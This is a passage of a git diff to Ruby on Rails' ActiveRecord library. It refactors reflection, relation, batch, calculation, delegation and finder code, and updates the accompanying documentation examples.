+          reflection.options[:inverse_of] != false &&
+            VALID_AUTOMATIC_INVERSE_MACROS.include?(reflection.macro) &&
+            !INVALID_AUTOMATIC_INVERSE_OPTIONS.any? { |opt| reflection.options[opt] } &&
+            !reflection.scope
+        end
+
         def derive_class_name
-          class_name = name.to_s.camelize
+          class_name = name.to_s
           class_name = class_name.singularize if collection?
-          class_name
+          class_name.camelize
         end
 
         def derive_foreign_key
@@ -398,7 +511,12 @@ module ActiveRecord
       delegate :foreign_key, :foreign_type, :association_foreign_key,
                :active_record_primary_key, :type, :to => :source_reflection
 
-      # Gets the source of the through reflection. It checks both a singularized
+      def initialize(macro, name, scope, options, active_record)
+        super
+        @source_reflection_name = options[:source]
+      end
+
+      # Returns the source of the through reflection. It checks both a singularized
       # and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
       #
       #   class Post < ActiveRecord::Base
@@ -412,12 +530,11 @@ module ActiveRecord
       #   end
       #
       #   tags_reflection = Post.reflect_on_association(:tags)
-      #
-      #   taggings_reflection = tags_reflection.source_reflection
+      #   tags_reflection.source_reflection
       #   # => <ActiveRecord::Reflection::AssociationReflection: @macro=:belongs_to, @name=:tag, @active_record=Tagging, @plural_name="tags">
       #
       def source_reflection
-        @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first
+        through_reflection.klass._reflect_on_association(source_reflection_name)
       end
 
       # Returns the AssociationReflection object specified in the <tt>:through</tt> option
@@ -429,10 +546,11 @@ module ActiveRecord
       #   end
       #
       #   tags_reflection = Post.reflect_on_association(:tags)
-      #   taggings_reflection = tags_reflection.through_reflection
+      #   tags_reflection.through_reflection
+      #   # => <ActiveRecord::Reflection::AssociationReflection: @macro=:has_many, @name=:taggings, @active_record=Post, @plural_name="taggings">
       #
       def through_reflection
-        @through_reflection ||= active_record.reflect_on_association(options[:through])
+        active_record._reflect_on_association(options[:through])
       end
 
       # Returns an array of reflections which are involved in this association. Each item in the
@@ -454,7 +572,9 @@ module ActiveRecord
       #
       def chain
         @chain ||= begin
-          chain = source_reflection.chain + through_reflection.chain
+          a = source_reflection.chain
+          b = through_reflection.chain
+          chain = a + b
           chain[0] = self # Use self so we don't lose the information from :source_type
           chain
         end
@@ -505,7 +625,7 @@ module ActiveRecord
 
       # A through association is nested if there would be more than one join table
       def nested?
-        chain.length > 2 || through_reflection.macro == :has_and_belongs_to_many
+        chain.length > 2
       end
 
       # We want to use the klass from this reflection, rather than just delegate straight to
@@ -514,12 +634,7 @@ module ActiveRecord
       def association_primary_key(klass = nil)
         # Get the "actual" source reflection if the immediate source reflection has a
         # source reflection itself
-        source_reflection = self.source_reflection
-        while source_reflection.source_reflection
-          source_reflection = source_reflection.source_reflection
-        end
-
-        source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+        actual_source_reflection.options[:primary_key] || primary_key(klass || self.klass)
       end
 
       # Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
@@ -534,7 +649,32 @@ module ActiveRecord
       #   # => [:tag, :tags]
       #
       def source_reflection_names
-        @source_reflection_names ||= (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }
+        (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }.uniq
+      end
+
+      def source_reflection_name # :nodoc:
+        return @source_reflection_name.to_sym if @source_reflection_name
+
+        names = [name.to_s.singularize, name].collect { |n| n.to_sym }.uniq
+        names = names.find_all { |n|
+          through_reflection.klass._reflect_on_association(n)
+        }
+
+        if names.length > 1
+          example_options = options.dup
+          example_options[:source] = source_reflection_names.first
+          ActiveSupport::Deprecation.warn <<-eowarn
+Ambiguous source reflection for through association.  Please specify a :source
+directive on your declaration like:
+
+  class #{active_record.name} < ActiveRecord::Base
+    #{macro} :#{name}, #{example_options}
+  end
+
+          eowarn
+        end
+
+        @source_reflection_name = names.first
       end
 
       def source_options
@@ -573,6 +713,12 @@ module ActiveRecord
         check_validity_of_inverse!
       end
 
+      protected
+
+      def actual_source_reflection # FIXME: this is a horrible name
+        source_reflection.actual_source_reflection
+      end
+
       private
         def derive_class_name
           # get the class_name of the belongs_to association of the through reflection
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index d7eda35..709edbe 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -7,7 +7,7 @@ module ActiveRecord
 
     MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
                             :order, :joins, :where, :having, :bind, :references,
-                            :extending]
+                            :extending, :unscope]
 
     SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
                             :reverse_order, :distinct, :create_with, :uniq]
@@ -17,18 +17,15 @@ module ActiveRecord
     include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
 
     attr_reader :table, :klass, :loaded
-    attr_accessor :default_scoped
     alias :model :klass
     alias :loaded? :loaded
-    alias :default_scoped? :default_scoped
 
     def initialize(klass, table, values = {})
-      @klass             = klass
-      @table             = table
-      @values            = values
-      @implicit_readonly = nil
-      @loaded            = false
-      @default_scoped    = false
+      @klass  = klass
+      @table  = table
+      @values = values
+      @offsets = {}
+      @loaded = false
     end
 
     def initialize_copy(other)
@@ -39,7 +36,7 @@ module ActiveRecord
       reset
     end
 
-    def insert(values)
+    def insert(values) # :nodoc:
       primary_key_value = nil
 
       if primary_key && Hash === values
@@ -56,16 +53,7 @@ module ActiveRecord
       im = arel.create_insert
       im.into @table
 
-      conn = @klass.connection
-
-      substitutes = values.sort_by { |arel_attr,_| arel_attr.name }
-      binds       = substitutes.map do |arel_attr, value|
-        [@klass.columns_hash[arel_attr.name], value]
-      end
-
-      substitutes.each_with_index do |tuple, i|
-        tuple[1] = conn.substitute_at(binds[i][0], i)
-      end
+      substitutes, binds = substitute_values values
 
       if values.empty? # empty insert
         im.values = Arel.sql(connection.empty_insert_statement_value)
@@ -73,7 +61,7 @@ module ActiveRecord
         im.insert substitutes
       end
 
-      conn.insert(
+      @klass.connection.insert(
         im,
         'SQL',
         primary_key,
@@ -82,6 +70,29 @@ module ActiveRecord
         binds)
     end
 
+    def _update_record(values, id, id_was) # :nodoc:
+      substitutes, binds = substitute_values values
+      um = @klass.unscoped.where(@klass.arel_table[@klass.primary_key].eq(id_was || id)).arel.compile_update(substitutes, @klass.primary_key)
+
+      @klass.connection.update(
+        um,
+        'SQL',
+        binds)
+    end
+
+    def substitute_values(values) # :nodoc:
+      substitutes = values.sort_by { |arel_attr,_| arel_attr.name }
+      binds       = substitutes.map do |arel_attr, value|
+        [@klass.columns_hash[arel_attr.name], value]
+      end
+
+      substitutes.each_with_index do |tuple, i|
+        tuple[1] = @klass.connection.substitute_at(binds[i][0], i)
+      end
+
+      [substitutes, binds]
+    end
+
     # Initializes new record from relation while maintaining the current
     # scope.
     #
@@ -227,15 +238,19 @@ module ActiveRecord
 
     # Returns size of the records.
     def size
-      loaded? ? @records.length : count
+      loaded? ? @records.length : count(:all)
     end
 
     # Returns true if there are no records.
     def empty?
       return @records.empty? if loaded?
 
-      c = count
-      c.respond_to?(:zero?) ? c.zero? : c.empty?
+      if limit_value == 0
+        true
+      else
+        c = count(:all)
+        c.respond_to?(:zero?) ? c.zero? : c.empty?
+      end
     end
 
     # Returns true if there are any records.
@@ -300,7 +315,7 @@ module ActiveRecord
       stmt.table(table)
       stmt.key = table[primary_key]
 
-      if with_default_scope.joins_values.any?
+      if joins_values.any?
         @klass.connection.join_to_update(stmt, arel)
       else
         stmt.take(arel.limit)
@@ -425,7 +440,7 @@ module ActiveRecord
         stmt = Arel::DeleteManager.new(arel.engine)
         stmt.from(table)
 
-        if with_default_scope.joins_values.any?
+        if joins_values.any?
           @klass.connection.join_to_delete(stmt, arel, table[primary_key])
         else
           stmt.wheres = arel.constraints
@@ -480,9 +495,10 @@ module ActiveRecord
     end
 
     def reset
-      @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+      @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
       @should_eager_load = @join_dependency = nil
       @records = []
+      @offsets = {}
       self
     end
 
@@ -491,16 +507,30 @@ module ActiveRecord
     #   User.where(name: 'Oscar').to_sql
     #   # => SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
     def to_sql
-      @to_sql ||= klass.connection.to_sql(arel, bind_values.dup)
+      @to_sql ||= begin
+                    relation   = self
+                    connection = klass.connection
+                    visitor    = connection.visitor
+
+                    if eager_loading?
+                      find_with_associations { |rel| relation = rel }
+                    end
+
+                    ast   = relation.arel.ast
+                    binds = relation.bind_values.dup
+                    visitor.accept(ast) do
+                      connection.quote(*binds.shift.reverse)
+                    end
+                  end
     end
 
     # Returns a hash of where conditions.
     #
     #   User.where(name: 'Oscar').where_values_hash
     #   # => {name: "Oscar"}
-    def where_values_hash
-      equalities = with_default_scope.where_values.grep(Arel::Nodes::Equality).find_all { |node|
-        node.left.relation.name == table_name
+    def where_values_hash(relation_table_name = table_name)
+      equalities = where_values.grep(Arel::Nodes::Equality).find_all { |node|
+        node.left.relation.name == relation_table_name
       }
 
       binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
@@ -539,6 +569,8 @@ module ActiveRecord
     # Compares two relations for equality.
     def ==(other)
       case other
+      when Associations::CollectionProxy, AssociationRelation
+        self == other.to_a
       when Relation
         other.to_sql == to_sql
       when Array
@@ -550,16 +582,6 @@ module ActiveRecord
       q.pp(self.to_a)
     end
 
-    def with_default_scope #:nodoc:
-      if default_scoped? && default_scope = klass.send(:build_default_scope)
-        default_scope = default_scope.merge(self)
-        default_scope.default_scoped = false
-        default_scope
-      else
-        self
-      end
-    end
-
     # Returns true if relation is blank.
     def blank?
       to_a.blank?
@@ -579,25 +601,17 @@ module ActiveRecord
     private
 
     def exec_queries
-      default_scoped = with_default_scope
-
-      if default_scoped.equal?(self)
-        @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
+      @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
 
-        preload = preload_values
-        preload +=  includes_values unless eager_loading?
-        preload.each do |associations|
-          ActiveRecord::Associations::Preloader.new(@records, associations).run
-        end
-
-        # @readonly_value is true only if set explicitly. @implicit_readonly is true if there
-        # are JOINS and no explicit SELECT.
-        readonly = readonly_value.nil? ? @implicit_readonly : readonly_value
-        @records.each { |record| record.readonly! } if readonly
-      else
-        @records = default_scoped.to_a
+      preload = preload_values
+      preload +=  includes_values unless eager_loading?
+      preloader = ActiveRecord::Associations::Preloader.new
+      preload.each do |associations|
+        preloader.preload @records, associations
       end
 
+      @records.each { |record| record.readonly! } if readonly_value
+
       @loaded = true
       @records
     end
@@ -615,34 +629,8 @@ module ActiveRecord
 
       # always convert table names to downcase as in Oracle quoted table names are in uppercase
       joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
-      string_tables = tables_in_string(to_sql)
 
-      if (references_values - joined_tables).any?
-        true
-      elsif !ActiveRecord::Base.disable_implicit_join_references &&
-            (string_tables - joined_tables).any?
-        ActiveSupport::Deprecation.warn(
-          "It looks like you are eager loading table(s) (one of: #{string_tables.join(', ')}) " \
-          "that are referenced in a string SQL snippet. For example: \n" \
-          "\n" \
-          "    Post.includes(:comments).where(\"comments.title = 'foo'\")\n" \
-          "\n" \
-          "Currently, Active Record recognizes the table in the string, and knows to JOIN the " \
-          "comments table to the query, rather than loading comments in a separate query. " \
-          "However, doing this without writing a full-blown SQL parser is inherently flawed. " \
-          "Since we don't want to write an SQL parser, we are removing this functionality. " \
-          "From now on, you must explicitly tell Active Record when you are referencing a table " \
-          "from a string:\n" \
-          "\n" \
-          "    Post.includes(:comments).where(\"comments.title = 'foo'\").references(:comments)\n" \
-          "\n" \
-          "If you don't rely on implicit join references you can disable the feature entirely " \
-          "by setting `config.active_record.disable_implicit_join_references = true`."
-        )
-        true
-      else
-        false
-      end
+      (references_values - joined_tables).any?
     end
 
     def tables_in_string(string)
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index 7d2416d..29fc150 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -11,7 +11,7 @@ module ActiveRecord
     # The #find_each method uses #find_in_batches with a batch size of 1000 (or as
     # specified by the +:batch_size+ option).
     #
-    #   Person.all.find_each do |person|
+    #   Person.find_each do |person|
     #     person.do_awesome_stuff
     #   end
     #
@@ -19,68 +19,114 @@ module ActiveRecord
     #     person.party_all_night!
     #   end
     #
-    #  You can also pass the +:start+ option to specify
-    #  an offset to control the starting point.
-    def find_each(options = {})
-      find_in_batches(options) do |records|
-        records.each { |record| yield record }
-      end
-    end
-
-    # Yields each batch of records that was found by the find +options+ as
-    # an array. The size of each batch is set by the +:batch_size+
-    # option; the default is 1000.
+    # If you do not provide a block to #find_each, it will return an Enumerator
+    # for chaining with other methods:
     #
-    # You can control the starting point for the batch processing by
-    # supplying the +:start+ option. This is especially useful if you
-    # want multiple workers dealing with the same processing queue. You can
-    # make worker 1 handle all the records between id 0 and 10,000 and
-    # worker 2 handle from 10,000 and beyond (by setting the +:start+
-    # option on that worker).
+    #   Person.find_each.with_index do |person, index|
+    #     person.award_trophy(index + 1)
+    #   end
+    #
+    # ==== Options
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
+    # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+    # This is especially useful if you want multiple workers dealing with
+    # the same processing queue. You can make worker 1 handle all the records
+    # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
+    # (by setting the +:start+ option on that worker).
     #
-    # It's not possible to set the order. That is automatically set to
+    #   # Let's process for a batch of 2000 records, skipping the first 2000 rows
+    #   Person.find_each(start: 2000, batch_size: 2000) do |person|
+    #     person.party_all_night!
+    #   end
+    #
+    # NOTE: It's not possible to set the order. That is automatically set to
     # ascending on the primary key ("id ASC") to make the batch ordering
     # work. This also means that this method only works with integer-based
-    # primary keys. You can't set the limit either, that's used to control
+    # primary keys.
+    #
+    # NOTE: You can't set the limit either, that's used to control
     # the batch sizes.
+    def find_each(options = {})
+      if block_given?
+        find_in_batches(options) do |records|
+          records.each { |record| yield record }
+        end
+      else
+        enum_for :find_each, options do
+          options[:start] ? where(table[primary_key].gteq(options[:start])).size : size
+        end
+      end
+    end
+
+    # Yields each batch of records that was found by the find +options+ as
+    # an array.
     #
     #   Person.where("age > 21").find_in_batches do |group|
     #     sleep(50) # Make sure it doesn't get too crowded in there!
     #     group.each { |person| person.party_all_night! }
     #   end
     #
+    # If you do not provide a block to #find_in_batches, it will return an Enumerator
+    # for chaining with other methods:
+    #
+    #   Person.find_in_batches.with_index do |group, batch|
+    #     puts "Processing group ##{batch}"
+    #     group.each(&:recover_from_last_night!)
+    #   end
+    #
+    # To be yielded each record one by one, use #find_each instead.
+    #
+    # ==== Options
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
+    # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+    # This is especially useful if you want multiple workers dealing with
+    # the same processing queue. You can make worker 1 handle all the records
+    # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
+    # (by setting the +:start+ option on that worker).
+    #
     #   # Let's process the next 2000 records
-    #   Person.all.find_in_batches(start: 2000, batch_size: 2000) do |group|
+    #   Person.find_in_batches(start: 2000, batch_size: 2000) do |group|
     #     group.each { |person| person.party_all_night! }
     #   end
+    #
+    # NOTE: It's not possible to set the order. That is automatically set to
+    # ascending on the primary key ("id ASC") to make the batch ordering
+    # work. This also means that this method only works with integer-based
+    # primary keys.
+    #
+    # NOTE: You can't set the limit either, that's used to control
+    # the batch sizes.
     def find_in_batches(options = {})
       options.assert_valid_keys(:start, :batch_size)
 
       relation = self
+      start = options[:start]
+      batch_size = options[:batch_size] || 1000
+
+      unless block_given?
+        return to_enum(:find_in_batches, options) do
+          total = start ? where(table[primary_key].gteq(start)).size : size
+          (total - 1).div(batch_size) + 1
+        end
+      end
 
       if logger && (arel.orders.present? || arel.taken.present?)
         logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
       end
 
-      start = options.delete(:start)
-      batch_size = options.delete(:batch_size) || 1000
-
       relation = relation.reorder(batch_order).limit(batch_size)
       records = start ? relation.where(table[primary_key].gteq(start)).to_a : relation.to_a
 
       while records.any?
         records_size = records.size
         primary_key_offset = records.last.id
+        raise "Primary key not included in the custom select clause" unless primary_key_offset
 
         yield records
 
         break if records_size < batch_size
 
-        if primary_key_offset
-          records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
-        else
-          raise "Primary key not included in the custom select clause"
-        end
+        records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
       end
     end
 
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 69a58d3..9e127f1 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -19,7 +19,17 @@ module ActiveRecord
     #
     #   Person.group(:city).count
     #   # => { 'Rome' => 5, 'Paris' => 3 }
+    #
+    # If +count+ is used with +select+, it will count the selected columns:
+    #
+    #   Person.select(:age).count
+    #   # => counts the number of different age values
+    #
+    # Note: not all valid +select+ expressions are valid +count+ expressions. The specifics differ
+    # between databases. In invalid cases, an error from the databsae is thrown.
     def count(column_name = nil, options = {})
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
       column_name, options = nil, column_name if column_name.is_a?(Hash)
       calculate(:count, column_name, options)
     end
@@ -27,8 +37,10 @@ module ActiveRecord
     # Calculates the average value on a given column. Returns +nil+ if there's
     # no row. See +calculate+ for examples with options.
     #
-    #   Person.average('age') # => 35.8
+    #   Person.average(:age) # => 35.8
     def average(column_name, options = {})
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
       calculate(:average, column_name, options)
     end
 
@@ -36,8 +48,10 @@ module ActiveRecord
     # with the same data type of the column, or +nil+ if there's no row. See
     # +calculate+ for examples with options.
     #
-    #   Person.minimum('age') # => 7
+    #   Person.minimum(:age) # => 7
     def minimum(column_name, options = {})
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
       calculate(:minimum, column_name, options)
     end
 
@@ -45,8 +59,10 @@ module ActiveRecord
     # with the same data type of the column, or +nil+ if there's no row. See
     # +calculate+ for examples with options.
     #
-    #   Person.maximum('age') # => 93
+    #   Person.maximum(:age) # => 93
     def maximum(column_name, options = {})
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
       calculate(:maximum, column_name, options)
     end
 
@@ -54,17 +70,9 @@ module ActiveRecord
     # with the same data type of the column, 0 if there's no row. See
     # +calculate+ for examples with options.
     #
-    #   Person.sum('age') # => 4562
+    #   Person.sum(:age) # => 4562
     def sum(*args)
-      if block_given?
-        ActiveSupport::Deprecation.warn(
-          "Calling #sum with a block is deprecated and will be removed in Rails 4.1. " \
-          "If you want to perform sum calculation over the array of elements, use `to_a.sum(&block)`."
-        )
-        self.to_a.sum(*args) {|*block_args| yield(*block_args)}
-      else
-        calculate(:sum, *args)
-      end
+      calculate(:sum, *args)
     end
 
     # This calculates aggregate values in the given column. Methods for count, sum, average,
@@ -99,19 +107,17 @@ module ActiveRecord
     #
     #   Person.sum("2 * age")
     def calculate(operation, column_name, options = {})
-      relation = with_default_scope
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
+      if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+        column_name = attribute_alias(column_name)
+      end
 
-      if relation.equal?(self)
-        if has_include?(column_name)
-          construct_relation_for_association_calculations.calculate(operation, column_name, options)
-        else
-          perform_calculation(operation, column_name, options)
-        end
+      if has_include?(column_name)
+        construct_relation_for_association_calculations.calculate(operation, column_name, options)
       else
-        relation.calculate(operation, column_name, options)
+        perform_calculation(operation, column_name, options)
       end
-    rescue ThrowResult
-      0
     end
 
     # Use <tt>pluck</tt> as a shortcut to select one or more attributes without
@@ -149,10 +155,10 @@ module ActiveRecord
     #
     def pluck(*column_names)
       column_names.map! do |column_name|
-        if column_name.is_a?(Symbol) && self.column_names.include?(column_name.to_s)
-          "#{connection.quote_table_name(table_name)}.#{connection.quote_column_name(column_name)}"
+        if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+          attribute_alias(column_name)
         else
-          column_name
+          column_name.to_s
         end
       end
 
@@ -160,22 +166,20 @@ module ActiveRecord
         construct_relation_for_association_calculations.pluck(*column_names)
       else
         relation = spawn
-        relation.select_values = column_names
+        relation.select_values = column_names.map { |cn|
+          columns_hash.key?(cn) ? arel_table[cn] : cn
+        }
         result = klass.connection.select_all(relation.arel, nil, bind_values)
         columns = result.columns.map do |key|
           klass.column_types.fetch(key) {
-            result.column_types.fetch(key) {
-              Class.new { def type_cast(v); v; end }.new
-            }
+            result.column_types.fetch(key) { result.identity_type }
           }
         end
 
         result = result.map do |attributes|
           values = klass.initialize_attributes(attributes).values
 
-          columns.zip(values).map do |column, value|
-            column.type_cast(value)
-          end
+          columns.zip(values).map { |column, value| column.type_cast value }
         end
         columns.one? ? result.map!(&:first) : result
       end
@@ -192,30 +196,26 @@ module ActiveRecord
     private
 
     def has_include?(column_name)
-      eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+      eager_loading? || (includes_values.present? && ((column_name && column_name != :all) || references_eager_loaded_tables?))
     end
 
     def perform_calculation(operation, column_name, options = {})
+      # TODO: Remove options argument as soon we remove support to
+      # activerecord-deprecated_finders.
       operation = operation.to_s.downcase
 
       # If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
       distinct = self.distinct_value
-      if options.has_key?(:distinct)
-        ActiveSupport::Deprecation.warn "The :distinct option for `Relation#count` is deprecated. " \
-          "Please use `Relation#distinct` instead. (eg. `relation.distinct.count`)"
-        distinct = options[:distinct]
-      end
 
       if operation == "count"
-        column_name ||= (select_for_count || :all)
+        column_name ||= select_for_count
 
         unless arel.ast.grep(Arel::Nodes::OuterJoin).empty?
           distinct = true
         end
 
         column_name = primary_key if column_name == :all && distinct
-
-        distinct = nil if column_name =~ /\s*DISTINCT\s+/i
+        distinct = nil if column_name =~ /\s*DISTINCT[\s(]+/i
       end
 
       if group_values.any?
@@ -239,7 +239,7 @@ module ActiveRecord
 
     def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
       # Postgresql doesn't like ORDER BY when there are no GROUP BY
-      relation = reorder(nil)
+      relation = unscope(:order)
 
       column_alias = column_name
 
@@ -273,7 +273,7 @@ module ActiveRecord
       group_attrs = group_values
 
       if group_attrs.first.respond_to?(:to_sym)
-        association  = @klass.reflect_on_association(group_attrs.first.to_sym)
+        association  = @klass._reflect_on_association(group_attrs.first.to_sym)
         associated   = group_attrs.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
         group_fields = Array(associated ? association.foreign_key : group_attrs)
       else
@@ -332,7 +332,9 @@ module ActiveRecord
         }
         key = key.first if key.size == 1
         key = key_records[key] if associated
-        [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+
+        column_type = calculated_data.column_types.fetch(aggregate_alias) { column_for(column_name) }
+        [key, type_cast_calculated_value(row[aggregate_alias], column_type, operation)]
       end]
     end
 
@@ -379,8 +381,9 @@ module ActiveRecord
     # TODO: refactor to allow non-string `select_values` (eg. Arel nodes).
     def select_for_count
       if select_values.present?
-        select = select_values.join(", ")
-        select if select !~ /[,*]/
+        select_values.join(", ")
+      else
+        :all
       end
     end
 
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index 8d67402..50f4d5c 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,8 +1,35 @@
-require 'thread'
-require 'thread_safe'
+require 'set'
+require 'active_support/concern'
+require 'active_support/deprecation'
 
 module ActiveRecord
   module Delegation # :nodoc:
+    module DelegateCache
+      def relation_delegate_class(klass) # :nodoc:
+        @relation_delegate_cache[klass]
+      end
+
+      def initialize_relation_delegate_cache # :nodoc:
+        @relation_delegate_cache = cache = {}
+        [
+          ActiveRecord::Relation,
+          ActiveRecord::Associations::CollectionProxy,
+          ActiveRecord::AssociationRelation
+        ].each do |klass|
+          delegate = Class.new(klass) {
+            include ClassSpecificRelation
+          }
+          const_set klass.name.gsub('::', '_'), delegate
+          cache[klass] = delegate
+        end
+      end
+
+      def inherited(child_class)
+        child_class.initialize_relation_delegate_cache
+        super
+      end
+    end
+
     extend ActiveSupport::Concern
 
     # This module creates compiled delegation methods dynamically at runtime, which makes
@@ -10,7 +37,14 @@ module ActiveRecord
     # may vary depending on the klass of a relation, so we create a subclass of Relation
     # for each different klass, and the delegations are compiled into that subclass only.
 
-    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+    BLACKLISTED_ARRAY_METHODS = [
+      :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!,
+      :shuffle!, :slice!, :sort!, :sort_by!, :delete_if,
+      :keep_if, :pop, :shift, :delete_at, :compact, :select!
+    ].to_set # :nodoc:
+
+    delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join, to: :to_a
+
     delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
              :connection, :columns_hash, :to => :klass
 
@@ -38,7 +72,7 @@ module ActiveRecord
               RUBY
             else
               define_method method do |*args, &block|
-                scoping { @klass.send(method, *args, &block) }
+                scoping { @klass.public_send(method, *args, &block) }
               end
             end
           end
@@ -57,13 +91,10 @@ module ActiveRecord
       def method_missing(method, *args, &block)
         if @klass.respond_to?(method)
           self.class.delegate_to_scoped_klass(method)
-          scoping { @klass.send(method, *args, &block) }
-        elsif Array.method_defined?(method)
-          self.class.delegate method, :to => :to_a
-          to_a.send(method, *args, &block)
+          scoping { @klass.public_send(method, *args, &block) }
         elsif arel.respond_to?(method)
           self.class.delegate method, :to => :arel
-          arel.send(method, *args, &block)
+          arel.public_send(method, *args, &block)
         else
           super
         end
@@ -71,52 +102,36 @@ module ActiveRecord
     end
 
     module ClassMethods # :nodoc:
-      @@subclasses = ThreadSafe::Cache.new(:initial_capacity => 2)
-
-      def new(klass, *args)
-        relation = relation_class_for(klass).allocate
-        relation.__send__(:initialize, klass, *args)
-        relation
-      end
-
-      # This doesn't have to be thread-safe. relation_class_for guarantees that this will only be
-      # called exactly once for a given const name.
-      def const_missing(name)
-        const_set(name, Class.new(self) { include ClassSpecificRelation })
+      def create(klass, *args)
+        relation_class_for(klass).new(klass, *args)
       end
 
       private
-      # Cache the constants in @@subclasses because looking them up via const_get
-      # make instantiation significantly slower.
+
       def relation_class_for(klass)
-        if klass && (klass_name = klass.name)
-          my_cache = @@subclasses.compute_if_absent(self) { ThreadSafe::Cache.new }
-          # This hash is keyed by klass.name to avoid memory leaks in development mode
-          my_cache.compute_if_absent(klass_name) do
-            # Cache#compute_if_absent guarantees that the block will only executed once for the given klass_name
-            const_get("#{name.gsub('::', '_')}_#{klass_name.gsub('::', '_')}", false)
-          end
-        else
-          ActiveRecord::Relation
-        end
+        klass.relation_delegate_class(self)
       end
     end
 
     def respond_to?(method, include_private = false)
-      super || Array.method_defined?(method) ||
-        @klass.respond_to?(method, include_private) ||
+      super || @klass.respond_to?(method, include_private) ||
+        array_delegable?(method) ||
         arel.respond_to?(method, include_private)
     end
 
     protected
 
+    def array_delegable?(method)
+      Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method)
+    end
+
     def method_missing(method, *args, &block)
       if @klass.respond_to?(method)
-        scoping { @klass.send(method, *args, &block) }
-      elsif Array.method_defined?(method)
-        to_a.send(method, *args, &block)
+        scoping { @klass.public_send(method, *args, &block) }
+      elsif array_delegable?(method)
+        to_a.public_send(method, *args, &block)
       elsif arel.respond_to?(method)
-        arel.send(method, *args, &block)
+        arel.public_send(method, *args, &block)
       else
         super
       end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 179d9d8..aeb9066 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,19 +1,24 @@
 module ActiveRecord
   module FinderMethods
+    ONE_AS_ONE = '1 AS one'
+
     # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
     # If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
     # is an integer, find by id coerces its arguments using +to_i+.
     #
-    #   Person.find(1)       # returns the object for ID = 1
-    #   Person.find("1")     # returns the object for ID = 1
-    #   Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
-    #   Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
-    #   Person.find([1])     # returns an array for the object with ID = 1
+    #   Person.find(1)          # returns the object for ID = 1
+    #   Person.find("1")        # returns the object for ID = 1
+    #   Person.find("31-sarah") # returns the object for ID = 31
+    #   Person.find(1, 2, 6)    # returns an array for objects with IDs in (1, 2, 6)
+    #   Person.find([7, 17])    # returns an array for objects with IDs in (7, 17)
+    #   Person.find([1])        # returns an array for the object with ID = 1
     #   Person.where("administrator = 1").order("created_on DESC").find(1)
     #
-    # Note that returned records may not be in the same order as the ids you
-    # provide since database rows are unordered. Give an explicit <tt>order</tt>
-    # to ensure the results are sorted.
+    # <tt>ActiveRecord::RecordNotFound</tt> will be raised if one or more ids are not found.
+    #
+    # NOTE: The returned records may not be in the same order as the ids you
